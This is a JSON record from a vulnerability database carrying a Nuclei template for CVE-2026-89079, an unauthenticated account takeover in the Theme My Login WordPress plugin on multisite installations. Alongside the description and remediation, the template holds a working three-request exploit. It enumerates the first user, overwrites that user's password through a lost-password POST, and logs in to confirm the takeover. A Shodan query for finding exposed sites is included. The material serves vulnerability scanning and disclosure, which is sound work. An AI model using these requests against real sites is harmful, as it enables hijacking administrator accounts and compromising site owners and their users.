{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-89079/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-89079/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-89079/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-89079/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-89079/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-89079"},"sightings":{"href":"/api/v1/sightings/cve-2026-89079"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-89079.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-89079\n\ninfo:\n  name: Theme My Login <= 7.2.1 - Privilege Escalation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.\n  impact: |\n    Complete unauthenticated account takeover of any user (including network administrators) on WordPress multisite installations running Theme My Login <= 7.2.1 with tml_user_passwords enabled.\n  remediation: |\n    Update Theme My Login to 7.2.2 or later. As mitigation, disable the tml_user_passwords network option until patched.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/theme-my-login/vulnerability/wordpress-theme-my-login-plugin-7-2-1-unauthenticated-privilege-escalation-vulnerability\n    - https://plugins.trac.wordpress.org/changeset/3696081/theme-my-login\n    - https://github.com/theme-my-login/theme-my-login/commit/06b76231b86150eed932db52646734486ecd0781\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-89079\n    epss-score: 0.01631\n    epss-percentile: 0.76298\n    cwe-id: CWE-269\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: theme-my-login\n    product: theme-my-login\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/theme-my-login\"\n  tags: cve,cve2026,wordpress,wp-plugin,theme-my-login,privilege-escalation,account-takeover,multisite,intrusive,vkev\n\nvariables:\n  new_pass: \"Tml{{rand_base(10)}}!Xk9\"\n\nflow: |\n  http(1);\n  if (template[\"target_user\"]) {\n    http(2);\n    http(3);\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/users?per_page=1&orderby=id&order=asc HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"slug\")'\n        internal: true\n\n    extractors:\n      - type: json\n        name: target_user\n        part: body\n        json:\n          - '.[0].slug'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php?action=lostpassword HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: text/html, */*\n\n        user_login={{target_user}}&user_pass1={{new_pass}}&user_pass2={{new_pass}}&redirect_to=&wp-submit=Get+New+Password&action=lostpassword\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: wordpress_test_cookie=WP Cookie check\n        Accept: text/html, */*\n\n        log={{target_user}}&pwd={{new_pass}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(header, \"wordpress_logged_in\")'\n          - 'contains(header, \"wp-admin\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: logged_in_as\n        part: header\n        group: 1\n        regex:\n          - \"wordpress_logged_in[^=]*=([^%]+)%7C\"\n# digest: 490a00463044022063fa83c53a86cefd1079ed3a760df4b9b9cfe8cd105f9d289a838b802d555758022067b12df24c5b0e84d26c717c97a88a7a2a3ff01f85404aa6d1293cfbb370a911:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-89079"}